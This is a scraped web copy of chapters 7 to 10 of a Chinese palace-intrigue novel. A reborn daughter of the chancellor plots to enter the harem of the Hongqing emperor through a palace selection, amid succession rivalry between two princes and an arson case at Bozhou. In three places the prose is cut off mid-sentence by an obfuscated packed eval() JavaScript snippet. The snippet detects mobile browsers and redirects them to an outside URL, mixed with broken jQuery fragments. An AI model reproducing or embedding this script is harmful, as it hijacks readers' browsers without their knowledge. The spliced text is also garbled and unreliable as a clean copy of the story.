闻雪英吸了吸鼻子,将眼泪生生憋了回去,她深吸一口气,缓缓道:“爹,接下来我要说的话,您仔细听好了……” 7. 第 7 章 原本想着等从亳州那边查到些蛛丝马迹,彻底断了父亲选择大皇子的可能,就能让父亲明白,陛下是他们唯一的选择,可事与愿违,一场大火,亳州的知情人死了个一干二净,真相变得遥不可及。 加之今日又见了靖桓宇,听他说了那些话,闻雪英不得不尽快行动。她思来想去,只好将重生一事,细细说与闻仲年听。 这等惊天动地之事,闻雪英料想听过的人会大为震撼,果然闻仲年听罢足足愣了一炷香的时间。 闻雪英也不急,说完便静静地坐着,直到她都快等睡着了,闻仲年才有了些许反应。 他活动了下有些僵硬的躯体,嘴巴张了又闭,闭了又张,好几个回合才问出一句:“你说的都是真的?” 话落又觉得自己的问题有些可笑,雪英不可能编一个如此离谱的故事出来。 他舔了舔干涩的唇瓣,蹙眉沉思片刻道:“反正亳州孙家老宅被烧光了,或许大皇子的身世就不会被发现了呢。” 其他知道此事的人,顶多就是孙家的人,孙家的人为了自己的利益,自然会死守秘密。 大皇子虽然性子过于温和了些,但如今天下已定,有他们这些老臣辅佐,大皇子将来也可当一个以仁德治世的明君。 至于血脉一事,闻仲年并不在乎,否则他当年也不会降于大周。 只要能给百姓带来祥和安稳的生活,闻仲年并不在乎皇位上的人是谁的血脉。 闻雪英倒是第一次发觉父亲有这样的观念,她一时有些震惊,却不得不戳破父亲的美梦,“爹,前世,靖桓宇是从孙贵妃口中得知大皇子的身世的,虽不知孙贵妃为何要背叛自己的亲外甥,可也足见世上并没有不透风的墙,女儿觉得不能冒险。” “我们的选择,只有陛下。” 沉默持续了良久,闻仲年神情苦闷,终于出了声:“爹知道了。” 虽没有明确的答复,但闻雪英知道,父亲知道如何才是最好的选择。 她也终于松了口气。 * 闻仲年没想到雪英执意要嫁于陛下,背后竟是这等缘由,他感到匪夷所思。 接下来的几日,闻仲年时常神思恍惚,与同僚议事时他也常常走神,有一回洪庆帝问他话,他半晌才听见。 甚至在家中一家人吃饭时,闻雪洲和闻雪琼唤他,有好几次闻仲年都恍若未闻。 钱晚宁随意找了个借口将闻雪洲和闻雪琼糊弄过去,晚上回了房,她就迫不及待地问:“是出什么事儿了吗?” 闻仲年回神,强颜笑道:“没什么,呵呵,没什么。” 钱晚宁白了他一眼,语气却是很温柔:“你我是夫妻,有什么事总该一起扛着,就算我无力帮你抗,你也不该瞒着我。” 闻仲年一滞,面上的笑容有些苦涩,他看着钱晚宁,实在不知该如何开口。 钱晚宁握着他的手,柔声宽慰:“老爷,有什么话你就说吧,陛下是要降你的职,还是罚你的俸?” “若真是如此也算不得什么事。”闻仲年叹了口气,斟酌着与钱晚宁说了个大概。 他没有提及闻雪英重生一事,只是说了大皇子非陛下血脉,而二皇子又一直不满他们这些李朝旧臣的事。 钱晚宁听了很是惊讶,她对朝堂一事一概不懂,只是…… “前几日二皇子不是还特意来咱家见雪英,他若是对李朝旧臣不满,又何必接近雪英?” 闻仲年道:“当下他自然是为了获取我的支持,我毕竟还是当朝丞相,朝中的李朝旧臣也算是占了一大半,加之朝中的大事陛下也几乎都会采纳我们的建议,二皇子自然也看到了这一点,他当然希望我能够站在他那一边,只是,他将来或许会过河拆桥。” 钱晚宁顺手替闻仲年捏着肩膀,沉吟道:“老爷既然有这个顾虑,想必是对二皇子已经有了十足的了解,那你打算如何?” 这便说到了重点,闻仲年重重叹一口气,扭头望着钱晚宁,迟疑着说:“最好的选择,便是有人为陛下诞下第三子。” 钱晚宁恍然大悟,想起不久前闻仲年告诉她雪英想要入宫一事,她有所察觉,疑惑道:“难道雪英也知道了大皇子身世这件事?” 闻仲年轻轻颔首。 钱晚宁蹙眉,迟疑道:“没有别的法子吗?” 闻仲年长长地出了一口气,“没有。” “……” 钱晚宁坐到闻仲年旁边,语气惆怅道:“雪英想要入宫,除非有人能说动陛下选秀。” 闻仲年道:“可刘显的五房妻妾才刚过门不久……” 钱晚宁微微一愣,继而失笑道,“你还担心这个?” 自然不全是因为这个,烦恼的事太多。 他心底深处,第一次萌生了闻家历代家主包括自己都很无用的想法,但凡历代家主们还有自己争气些,能多生几个男丁,多去建功立业,也不至于如今需要将他的宝贝女儿送进宫中以保全家平安。 钱晚宁不知他心底的想法,她只是绽开了笑意,歪头靠着他的肩膀道:“老爷,不就是再娶几个妾室吗?咱们家又不是养不起,陛下若真动怒让你娶,娶回来就是了。” 她的态度倒是出乎闻仲年意料,他低头,试探道:“你倒是心宽,你难道不怕我被她们勾了去?” 钱晚宁闻言,抬头朝他翻了个白眼,一副“你爱被谁勾去便被谁勾去”的模样。 她冷哼一声道:“那正好,我就带着孩子们投奔姐姐去,外头天高海阔,怎么都比困在这四四方方的宅子里强。” “哎,我说笑的。”闻仲年不期得到这么个反应,他顿时有些慌张,又低声下气地跟钱晚宁说了好一会儿的软话,这才不至于被赶去睡书房。 * 三日后是小年,按照惯例,过了今日,宫中要封印封笔,停办公务。劳碌一年,陛下要暂放国政修身养性,臣子们也要回府与家人准备共度除夕。 小年这日便是今年最后一次上朝,之后便是正月十五才开朝。 闻仲年昨夜又与闻雪英商量一番,父女两一致认为,上书提议陛下选秀一事,不宜拖到年后。 于是小年这日在朝堂上,等大臣们禀完其他事宜,洪庆帝身边的内监大声喊道“有事起奏,无事退朝”后,闻仲年整了整衣襟,吸了口气正要开口,有一道声音却先他一步响起:“启禀陛下,臣有事要奏。” 闻仲年回头一看,说话的是“新婚不久”的都察院御史刘显。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059260|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他上前一步道:“启禀陛下,我大周立国虽才五年,但如今战事顺利,天下安乐,百姓的日子是过得越来越好了,这一切都源于陛下宵旰忧勤,日理万机。” 闻仲年起先听到他的声音,心里还有些纳闷,以为这刘御史还想多娶几个老婆,没想到他只是言辞诚恳地赞美了洪庆帝一番。 闻仲年暗暗惊讶,这刘御史平时开口不是弹劾某个臣子,便是提议陛下选秀,今儿个倒是第一次听他说第三件事。 然而这念头刚转过,刘御史又来了一句:“既然如今海晏河清,国泰民安,还请陛下下令选秀,以充实后宫,绵延子嗣,以巩固我大周万世基业。” 一众朝臣:“……” 闻仲年头一回对刘御史生出了由衷的佩服与好奇,佩服他勇于开口,好奇他究竟为何几次三番请求陛下选秀? 旁的提议选秀的臣子,家族中多多少少有些适龄的女子,闻仲年相信他们应当和如今的自己一样,也想让家族里的女子入宫为妃,以期保全家族,或是巩固荣华。 虽然他们嘴上都说着希望陛下广纳后宫绵延子嗣,但最终的目的只是为了家族荣光,将家族未婚女子送入宫中,不过是一种方式罢了。 但刘御史不一样,在陛下给他赐婚之前,他是孤家寡人一个,无父无母,无兄弟姐妹,无妻妾子女。 他家没有适龄的女子可以入宫。 无论谁家的姑娘入了宫,与刘御史都无半点好处,莫非他当真只是想让陛下有更多的子嗣? 这倒是奇了。 闻仲年心中这样想着,又抬头去看御座上的洪庆帝,心道不知陛下此番又会如何反击? 然而他目光刚扫到洪庆帝的脸上,便见洪庆帝若有所思地点了点头,赞同道:“刘爱卿言之有理,那就依刘爱卿所言吧。” 闻仲年:“?” 一众大臣包括刘显在内正目瞪口呆以为自己听茬了,洪庆帝已然开口吩咐户部的人,让其与内廷司商议商议,年前呈个如何看选的折子上来,等过了元宵节,就开始选秀。 事情发生的很迅速,结束的也很迅速,闻仲年直到回到家中,看着闻雪英和钱晚宁担忧探究的神情时才渐渐回了神。 他道:“陛下同意年后选秀了。” 闻雪英松了口气的同时又免不了生出些许愧疚,“陛下是不是也让您娶几个李朝旧妃了?” 闻仲年:“那倒没有,选秀的事,是刘显提出的。” 钱晚宁微微挑眉,“这位御史大人居然还敢跟陛下提选秀的事,性子也是够倔的,不过,陛下这次就同意了?” 闻雪英也好奇,“陛下不会又给刘大人赐了李朝嫔妃吧?” “没有,陛下这回什么都没说,甚至连眉头都不曾皱上一下,直接便同意了。” 闻雪英眨了眨眼,刚放下去的心又提了起来。 “陛下没有装睡?” “没有。” “也没有斥责刘御史?” “没有。” “陛下二话不说就应了?” “没错。” 闻雪英呆呆地张着嘴,难以置信地道:“陛下行事一向如此出人意料吗?” 闻仲年:“没错!” 8. 第 8 章 选秀一事,是大部分朝臣乐喜闻乐见的,毕竟没人不想跟洪庆帝在君臣关系之外,再攀上一门翁婿或是郎舅关系。 小年这日散朝后,众大臣归家,有人因此事而欢饮,自然也有人因为此事而感到危机重重。 这其中尤以翰林院大学生黄林为甚。 从宫中出来后,黄林上了马车,指挥车夫匆匆忙忙赶往大皇子府邸。 黄林虽只是个五品的翰林院学士,但他同时也是大皇子的表舅,因此皇子府的下人见是他来,态度也是十分恭敬。 “大皇子近日可好些了?”黄林边走边问。 引路的下人回道:“殿下还是有些郁郁寡欢。” 黄林闻言叹了口气,眉头皱得更深。 此刻正是用午膳的时候,正院偏厅内的饭桌上摆满了靖桓洲平日爱吃的菜,一旁站了四个服侍他用膳的侍女,但靖桓洲显然没什么胃口。 他的贴身侍从孙义眉心紧蹙,弯着腰苦口婆心道:“殿下,您这几日都没怎么吃过东西,奴才瞧着您人都瘦了一大圈,为圣体计,还是用些吧。” 靖桓洲闻言一动不动,无精打采道:“我没胃口。” 孙义面上堆出苦涩的笑容,继续劝慰:“殿下,国公大人与夫人若是在天有灵,看着殿下您这般苛待自己,他们一定会心疼的。” 这下,靖桓洲总算是有了些反应,他低头,怔怔望着眼前的饭菜。 孙义见状随意指了一道菜,继续道:“您瞧,这是您平日最爱吃的华祖焖鸭,您尝尝。” 话落忙示意侍女布菜。 然而侍女的筷子还没落到华祖焖鸭上,便听见自家主子抽噎了一声,接着就听他带着浓重的鼻音道:“小时候在亳州,外祖母经常给我做这道华祖焖鸭,如今我再也吃不到外祖母亲手做的了……” 孙义欲哭无泪,咬了咬牙正琢磨着该如何宽慰他至情至性的主子,这时外头突然传来一道严厉的声音:“身为大周尊贵的皇子,当着下人的面哭哭啼啼成何体统?” 话音落,黄林沉着脸走了进来,下跪行礼:“微臣见过殿下。” 按理他一个五品翰林院大学士的身份,是断断不能用这种语气与皇子说话。 但黄林不一样,他是靖桓洲的表舅,也算是看着靖桓洲长大,因此靖桓洲并不将他当做臣下,仍是以对待长辈的态度对他。 他抬手拭去眼泪,道:“表舅请起。” 黄林见他对自己态度和气,心里又喜又忧。 他站了起来,朝孙义道:“出去,我有要事与殿下相商,别让任何人打扰。” 这孙义是孙家的家奴,算是自小就跟着靖桓洲的,对此倒也见惯不惯,当即就带着几个侍女退了出去,顺便将偏厅的门关上。 黄林再次看向满身颓然的靖桓洲,沉默片刻,然后语重心长地道:“殿下,今日早朝,陛下下令,等年后元宵一过,便要开始选秀了。” 靖桓洲微微讶异,不过他讶异的点在于父皇为何突然就同意了,至于洪庆帝此举最终会给他带来什么影响,他却是全然不曾设想。 黄林不由叹气,只得严肃地向他剖析:“殿下,现如今陛下只有您和二殿下两个皇子,即便您什么都不做,日后皇位归属,您总还是有一半成算的,可万一陛下纳了新妃,新妃又给陛下生下其他皇子,我们的威胁岂不是又多了几分?” 靖桓洲当下还沉浸在周国公夫妇丧生的悲伤里,他抬头看一眼黄林,眼底突然有了不满。 “表舅,你怎么没有跟我舅舅一起回亳州为外祖父和外祖母送丧?” 黄林自顾自坐到靖桓洲对面,道:“自然是为了你,我们若都回了亳州,朝堂上出了什么事,你自己怕是应付不来,比如陛下要选秀一事。” 靖桓洲沉默着看了他一会儿,语气难得冷硬:“父皇要不要选秀,将来又要立谁为太子,都该是父皇的自由,表舅你难道想要左右父皇的决断?” 黄林张了张嘴,话还没出口,靖桓洲继续道:“表舅,你不觉得二弟比我更适合继承大统吗?” 他有自知之明,知道自己不是那块料,更何况他其实也不怎么想当皇帝。 父皇每日的辛劳他是看在眼里的,他觉得自己受不了那个苦。 “我的性子,不适合当皇帝,我还是希望以后有机会的话,能像表舅你年轻时那般,游历天下。” 黄林一噎,一时气得脸色铁青。 他很想指着靖桓洲的脑袋痛骂他烂泥扶不上墙,可对方到底是皇子,他也不敢真的以下犯上,便只能在心里骂个痛快。 黄林闭上眼,缓了缓,将心头的火气压了下去,郑重道:“殿下,您真以为将来若是陛下将皇位传于二皇子,二皇子还能容得下你去游历天下?” 靖桓洲反问道:“为何不能?我又威胁不到他。” 黄林:“……” 黄林一脸的恨铁不成钢,默了片刻才道:“等你舅舅回来,你亲口跟他说这话,你看他同不同意。” 提起舅舅,靖桓洲不由又想起了他可怜的外祖父母,眼眶又渐渐红了。 黄林只感到头疼无比,半句话都不想再说,于是便离开了皇子府。 只是他也并未放弃扶持靖桓洲争夺皇位的想法,他和孙家的人早就达成共识,靖桓洲志在不在皇位不要紧,重要的是他黄家和孙家的家族荣光不能就此断绝。 因此,他们会推着靖桓洲一路走上那个天下最尊贵的位置,如此的话,他势必要去寻找其他同盟。 黄林想着,等表兄从亳州回京后,他们要好好商议一番,接下来该如何行事了。 * 因着洪庆帝已然下令元宵过后选秀,并让户部与内廷司年前便呈上选秀的具体章程,于是当其他各部官员已经在家闲散度日,享受着一年一度的休沐时,户部与内廷司的人却依旧不得闲。 户部主事冯诚与内廷司主事刘泰召集部下官员,连日商讨,紧赶慢赶终于在腊月二十九这日将具体的章程给议定下来。 养居殿内,冯诚与刘泰静静侍立,待塌上帝王过目两人这几日的成果。 须臾,洪庆帝靖渊将挡在面前的折子稍稍移开,表情很是怀疑:“朕看上面写,选秀的女子,年纪最小的十二?” 刘泰含笑应答:“回陛下,是满了十二岁的女子才有资格参选。” 靖渊换了个姿势,慢条斯理道:“朕今年多大了?” 冯诚与刘泰一愣,两人不动声色地交换了下眼神,一时不明白陛下这话何意。 顿了顿,冯诚微微躬身道:“今年六月的时候,陛下不是刚过了三十八岁的千秋节。” 靖渊冷笑一声,将折子“啪”一下扔在案桌上,面无表情道:“朕今年都三十八了,你们打算给朕选十二岁的姑娘?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059261|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……” “……” 冯诚一噎,下意识侧头看向身旁的刘泰。 这次选秀,乃是本朝第一遭,而冯诚是靖渊称帝后才被封为户部主事,他是第一次办这样的差事,是以本次选秀,他与刘泰商议了,所有规矩流程都由内廷司负责,而他们户部只负责提供银钱,以及呈交适龄女子名目。 如何才算“适龄”,自然是刘泰这个从前朝便在内廷司当差的人说了算。 靖渊也跟着将目光转向了刘泰,“你以为朕是李朝德明帝,四五十岁的人了,还纳十二三岁的少女为妃?” “朕没那么变态!” 刘泰不期在这点上惹了靖渊不悦,一时惧怕,双腿一软就跪了下去,“陛下恕罪,是奴才的错,还请陛下饶恕奴才……” 他边告罪边左右开弓,狠狠抽了自己几个嘴巴,心里悔不当初,怪自己太想当然,以为前朝德明帝喜爱年轻的少女,又见当今陛下甚少踏足已年近三十的贵妃宫中,便想当然的以为陛下也偏爱年龄小的少女。 “陛下恕罪啊!” 刘泰这种反应,倒是将靖渊给吓了一跳,须知他只是有些生气,但还不到动怒的地步,更没想过要责罚刘泰。 靖渊叹了口气,在刘泰把自己的脸打肿前开口:“你先起来!” 刘泰愣住,只好忐忑地起了身。 靖渊捏了捏眉心,语气较之方才稍平和了些,“朕今日就立下规矩,我大周后世帝王但凡选秀,秀女年龄不得低于十六。” 刘泰忙低声应下。 靖渊又拿起折子翻开,“还有,这条未经选看不得自行婚配的破规矩也给朕废了。” “是。” “再加一条,我大周朝后世帝王,年俞四十后,便不得再选秀,除非膝下无皇子可承继大统。” “奴才遵旨。” “……” 挑挑拣拣又寻到几处不满,下令更改之后,他便点了头,让冯诚与刘泰年后就照着这个办。 两人便即告退离开。 他们走后,养居殿总管太监许望筌走了进来,替靖渊沏了一盏他爱喝的君山银针。 靖渊捧起茶盏,晃了晃却是没喝。 他抬头看一眼正在殿内各处张贴“福”字以及各色剪纸的宫女太监,便吩咐许望筌:“公主的长乐宫也得装饰装饰。” 许望筌笑着道:“陛下放心,奴才早就吩咐人去办了。” 靖渊“嗯”了一声:“再让武备院挑些精致趁手的兵器送到长乐宫,公主喜欢那些。” 许望筌应是,接着便唤来一个小太监,吩咐他去武备院。 靖渊沉默了会儿,又问道:“桓洲的病好些了吧?” 许望筌笑容一滞,缓声道:“早上太医来回禀过了,大皇子的风寒是痊愈了,只是人瞧着还是有些闷闷不乐,想来还是因为太过想念周国公夫妇所致。” 他顿了顿,见靖渊没说什么,于是又道:“大皇子是一个重情重义之人。” 靖渊闻言不由叹息一声,想到亳州的事给桓洲带来的影响,一时也没了喝茶的心思。 “也不知道桓宇事情查得如何了。” 许望筌忙道:“二皇子殿下足智多谋,陛下这回派二皇子殿下去亳州,想来他一定能早日查清真相,还周国公夫妇一个公道。” 靖渊道:“但愿如此吧。” 9. 第 9 章 亳州,孙家老宅。 靖桓宇身穿一袭黑色劲装,站在孙家老宅正院那堆焦黑的废墟面前,眉头高高蹙起。 整个老宅内,唯有这座院子失火被烧,据闻周国公夫妇回到亳州后便是住在此处。 失火在半夜,也许火势来得太猛,周国公夫妇年迈行动不便,来不及逃生,可,宅子其他下人呢? 靖桓宇扭头看向一旁的亳州知府吴明,道:“吴大人,说说你这几日都查到了什么?” 此时正是深夜,亳州虽地处南方,但冬日的深夜还是有些冷的,但吴明却是不停冒冷汗。 他知道周国公夫妇乃是陛下的岳父岳母,料到了陛下会派重臣前来,却没料到陛下直接派了位皇子。 这位皇子的行事风格,吴明还摸不太准。 但看他夜半入城,来不及歇息一晚就马不停蹄地前来事发之地,可见二皇子对于此次惨案也是极为重视的。 吴明暗暗思忖着该如何答话。 死亡人数和事情大抵经过,事发第二日送往京都的折子上他已经写得很清楚,现在他只说些这几日查到的其他线索。 “殿下,微臣基本可以确定,此次孙家老宅失火一案,乃是人为。” 吴明的折子呈到御前那日,所有人几乎已经确定了这结论。偌大的一座宅子,只有正院失火,且无论是周国公夫妇还是府中下人,统统都在正院,这便一点不像意外。 靖桓宇兀自沉默,不知道在想什么。一旁他的侍从道:“吴大人,您接着说吧。” 吴明便继续道:“仵作查验,包括国公大人与夫人在内的一共三十二名死者,真正的死因并非是大火。” 那场大火看起来反倒像是消灭证据的一种手段,人其实早在失火前就没了呼吸。 靖桓宇闻言,眼底有片刻的烦躁闪过,他顿了顿,接着问道:“那他们究竟是如何死的?” 吴明摇头:“这,仵作暂时还没查出来。” 其实是有些眉目了,仵作查验,他们似乎是中毒而亡,但具体中了何种毒,却是迟迟无法确认。 他说完小心翼翼打量着靖桓宇的神色,生怕他不满,然而靖桓宇却是突然笑了,他走近吴明,抬手拍了拍他的肩膀,语气平和道:“吴大人不必紧张,这事发生的蹊跷,一时查不到什么也是情理之中。” 吴明刚露出一个笑容,靖桓宇又道:“只是你知道的,周国公夫妇是我父皇的什么人,前几日父皇听闻此事,震怒之下,可是差点都下令杀了大人你呢。” 他轻飘飘说着这话,吴明突然就觉得搁在他肩头的那只手瞬间添上了数千倍的重量。 他膝盖一软,“嘭”的一声跪了下去。 昏黄的火光下,吴明的脸色苍白如纸。 靖桓宇负手而立,昂首看着漆黑一片的夜空,继续道:“吴大人放心,你是闻相的门生,我和闻相自然不会眼睁睁看着父皇下令杀了你。” 吴明有片刻的疑惑,听二皇子所言,似乎老师与二皇子之间,颇为相熟。 莫不是老师私下里已投入二皇子门下? 他的疑惑暂时无人解答,靖桓宇的话还没有说完:“不过我离开京都时,父皇也说了,要我尽快查出真凶来,无论如何,我们得尽快给父皇一个说法,吴大人你说是不是?” “……” 吴明有些茫然,他抬头看着靖桓宇,隐隐觉得二皇子此话似乎是另有深意,他顿了顿,试探道:“该如何调查,一切但凭殿下吩咐。” 靖桓宇微微笑道:“孙国舅一行估计再有两日就会到了,在此之前,有劳吴大人尽快确认那三十名死去的孙宅下人各自的身份,以及他们的家人。” 吴明应道:“是,微臣这就派人去询问打探。” 吴明走后,靖桓宇的贴身随侍常立走上前来,回话道:“殿下,常行派人刚刚送来京都的消息,陛下同意选秀了,元宵过后就开始。” 靖桓宇一愣,追问道:“确定吗?” 常立道:“常行写信的时候,陛下已经下了圣旨给户部和内廷司。” 这消息让靖桓宇有些猝不及防,他冷静片刻道:“我们必须赶在元宵之前回京。” 常立蹙眉,担忧道:“殿下,您已经连着赶了七八天的路,如今到了亳州,失火案就交由属下和吴大人一同去查,您还是先休整两日,以免累垮了身子。” 靖桓宇轻轻笑了笑,道:“无妨,亳州这里很快就会有眉目的,不过在此期间,我们还得再办几件事。” 常立道:“殿下请吩咐。” 靖桓宇招手示意常立靠近,他俯身含笑在他耳边低语几句,常立听罢不由瞪大了双眼,只觉得殿下的吩咐有些不着头脑,不过他转念一想,殿下的吩咐自有其道理,便未多问,着手就去安排靖桓宇交代他的几件事去了。 * 京都。 一晃到了除夕这日,因着要跟随父亲去祠堂祭拜先祖,闻雪英很早就醒了。 实则是昨夜她没怎么睡。 眼见今日就是除夕,鞠衣还不见回来,闻雪英心中难免有些惆怅。 从祠堂出来后,钱晚宁见她神情落寞,便上前安慰道:“别心急,今冬三天两头的就下雪,路上难免会耽搁些,再说你爹已经派人去接应了,相信你娘很快就会回来的。” 闻雪英回望着钱晚宁,脸上挂着真挚温柔的笑,她由衷道:“谢谢母亲。” 闻雪英并非钱晚宁所生,她的生母叫李檀,是闻仲年的第一任妻子,只不过两人在闻雪英五岁那年便和离了。 之后李檀并未再嫁,而是南下去了宁州,她在那里学着经商,十来年过去,生意竟也做得风生水起,如今也成了宁州当地数一数二的富商。 前世闻家出事后,她娘不惜拿出万贯家财,四处打点,只希望能保闻家人一条命,但最终事与愿违,万贯家财散尽,靖桓宇依旧狠心无情,还连累她娘也搭上了性命。 前世所有的亲人都离她而去,如今重活一世,父亲母亲并弟弟妹妹已经活生生在她眼皮下了,闻雪英如今只想尽快见到自己的亲娘。 祭拜完闻家先祖,便该等着天黑之后一家子吃年夜饭,放鞭炮,喜气洋洋地送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059262|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧迎新了。 不过此时天尚未大亮,离天黑还早的很。 闻雪洲和闻雪琼二人今早起的时候还哼哼唧唧不情愿地哭鼻子,此刻祭拜了先祖,钱晚宁嘱咐奶娘丫鬟带他两下去再睡个回笼觉,他二人却是不愿意了,吵着闹着要去姐姐房里。 钱晚宁怕吵着她,当即就板起脸来,闻雪英见状便笑着道:“母亲,没事的,索性我也闲着没事,有他们在跟前吵吵闹闹的也热闹些。” 更何况她也需要有人来转移她的注意力,省得她因为总是想着娘亲,心情越来越憋闷烦躁。 不过小孩子到底是小孩子,闻雪英将他们带回自己房间,不过闹了不到半个时辰,两人就躺倒在闻雪英的床上呼呼大睡了。 闻雪英一阵无奈,索性也合衣躺了下去,渐渐地竟也来了困意。 再一睁眼,床榻上只剩下她一人。 闻雪英徐徐地出了两口气,一边起身一边唤道:“琥珀,我有些口渴了。” 话落很快就有人端了温水过来:“小姐,小心烫。” 闻雪英接过慢慢抿了两口,迟钝的大脑渐渐清明,这声音不像琥珀。 她猛一抬头,眼前站着的赫然是她派去宁州接她娘亲的鞠衣。 闻雪英一喜,忙问道:“鞠衣,我娘回来了吗?” 鞠衣嘴角含笑,伸手指了指临窗的软塌。 闻雪英望了过去,那边软塌上坐着一年约四十的美貌妇人,此刻她正埋头在案上那一摞厚厚的账本里。 许是听到声响,美貌妇人回头,轻声道:“鞠衣,你出去吧,我跟你们小姐说说话。” 鞠衣应声退了下去,屋内只剩下闻雪英和李檀。 闻雪英看着娘亲熟悉的面容,眼眶止不住地泛红。 她下了床,朝着李檀小跑了过去。 “娘,我好想您……” “慢着!”闻雪英是想扑进李檀熟悉的怀抱中的,然而快要接近李檀时,李檀神情突然变得严肃起来,她伸手制止闻雪英的动作:“你站那儿别动。” 闻雪英霎时一愣,含着泪茫然地看着李檀。 李檀也下了地,她走近,绕着闻雪英走了两圈,一边走一边上下打量。 闻雪英轻声道:“娘?” 李檀在她面前站定,平静道:“你让鞠衣接我回京,是为了何事?” 闻雪英:“女儿只是有些想您了。” 李檀脸上带着怀疑,明显不信,她抱着双臂,审视着闻雪英道:“鞠衣说你病了一场,病前吵着闹着让你父亲入宫求赐婚病愈后却突然反悔不想嫁你中意的二皇子,这是为何?” “……女儿只是病重突然想通了,父亲说二皇子并非良人,之前是女儿不懂事。” 李檀一侧眉毛上挑,冷笑了一声道:“病了一场就想通了?” 闻雪英知道娘亲心思细腻,看事情永远看得比旁人更深,她开始斟酌着是不是要对娘亲也说实话。 李檀见她沉默,脑中瞬间闪过好几个念头,她咽了口唾沫,往后退了一步,平静问她:“你还是我的女儿吗?” 10. 第 10 章 这一问叫闻雪英有些莫名其妙,她自沉思中回神,震惊又不解:“娘,您在说什么?我当然是您的女儿啊。” 初见娘亲的种种复杂情绪此刻一扫而光,她娘见到她的反应属实奇怪。闻雪英忍不住朝李檀走近,担忧道:“娘,您这几日赶路累坏了吧?” 都开始胡言乱语了。 李檀细细观察闻雪英细微的表情变化,从她的神情及眼神中只看到了疑惑。她不由松了口气,缓缓道:“没什么,根据鞠衣对你病愈后种种行径的描述,我还以为我的女儿不在了呢。” 闻雪英:“……” 她娘总是能说出一些让她和父亲摸不着头脑的话。 李檀终于露出了见到女儿的慈爱笑容,她亲昵地摸了摸闻雪英的脸颊,柔声道:“娘瞧着你瘦了不少,可是有什么心事?” 她大约是一个时辰前回到闻府,回府后先去见了闻仲年和钱晚宁,从闻仲年口中已经知道女儿想要嫁给洪庆帝一事。 加之刚刚对她的观察,既还是她的女儿,那么便只有另一种可能了。 李檀拉着她一起坐到塌上,深吸一口气道:“你爹说你想嫁给陛下,陛下他可是已经有了三个跟你差不多大的孩子了,都是能当祖父的人了,你想好了吗?” 娘亲话里话外都是对洪庆帝的嫌弃,闻雪英笑笑道:“陛下今年不过三十八岁,没您说的那么老。” 李檀撇了撇嘴,“对娘来说,他是不老,可对你来说,他妥妥是个老黄瓜。” 闻雪英眨了眨眼,不解道:“什么是老黄瓜?” 李檀叹了口气,凑到她耳边低语了几句,闻雪英听罢一张脸霎时涨得赤红,“娘!” 李檀双手一摊,道:“他有过两个皇后,宫里如今还有个贵妃,这回选秀他后宫的人数想必会继续增加,谁知道他到底有多少女人,娘想想就觉得恶心的慌。” “娘,您快别说了,叫人听见不好。”闻雪英无奈极了,她娘总是能说出些语不惊人死不休的话,不过这么多年她也都习惯了。 记得小时候,有一回娘喝醉了,抱着她说了很多很多的话,大部分闻雪英都忘记了,唯有一句,她记得清清楚楚,娘说,她来自一个与这里全然不同的世界。 她以前并不理解这句话的意思,如今自己经历了重生,突然就有些明白李檀的那句话。 或许娘也跟自己一样,在另外一个地方,有过另外一段生命,拥有另外一段记忆。 见李檀不再调侃洪庆帝了,闻雪英这才道:“娘,我爹如今虽还受陛下看重,但将来新帝登基,这些李朝旧臣的下场如何,谁也不敢保证,为保全家平安,嫁给陛下,是唯一的选择。” “你不信陛下的两位皇子,是因为已经知道无论你爹跟着他们之中的哪一个,将来都不会有好下场吗?”李檀作为来自于另外一个世界的人,她大体能猜到闻雪英遭遇了什么,既不是同她一样的来自另外一个世界,那便只有一种可能:重生。 “你是不是已经知道了一些世人还不知道的事情?” 李檀问的直白,闻雪英怔了怔,继而不由笑道:“我就知道瞒不过您。” 她轻轻吁了口气,将自己前世的经历再次徐徐道来。 第一次跟闻仲年说这些话的时候,她还不能很好地控制自己的情绪,一度说着说着便痛哭失声。 如今第二次将那段经历说给李檀听,闻雪英已经沉稳许多,只是听着她用平淡的语气说出那些事,李檀反倒是忍不住红了眼眶。 “苦了你了,孩子。”李檀抬手摸了摸她的发顶,怜爱道:“无论你打算做什么,娘都会支持你的,旁的娘或许帮不上你,但凡你需要用钱的地方,娘一定倾囊相助。” 闻雪英这回终于可以扑进娘亲的怀抱里,她闭上眼吸了口娘亲身上淡淡的香味,含笑道:“等女儿入了宫,一切用度自会有内廷司发放,倒也用不上什么钱的。” “娘不是说你在宫中用度所需的银钱。”李檀摇了摇头,沉吟道:“倘若你入宫后能在短时间内诞下孩子,要扶持一个幼子成为太子亦或是将来登上皇位,光动动嘴皮子可成不了事,你得有自己的势力。” 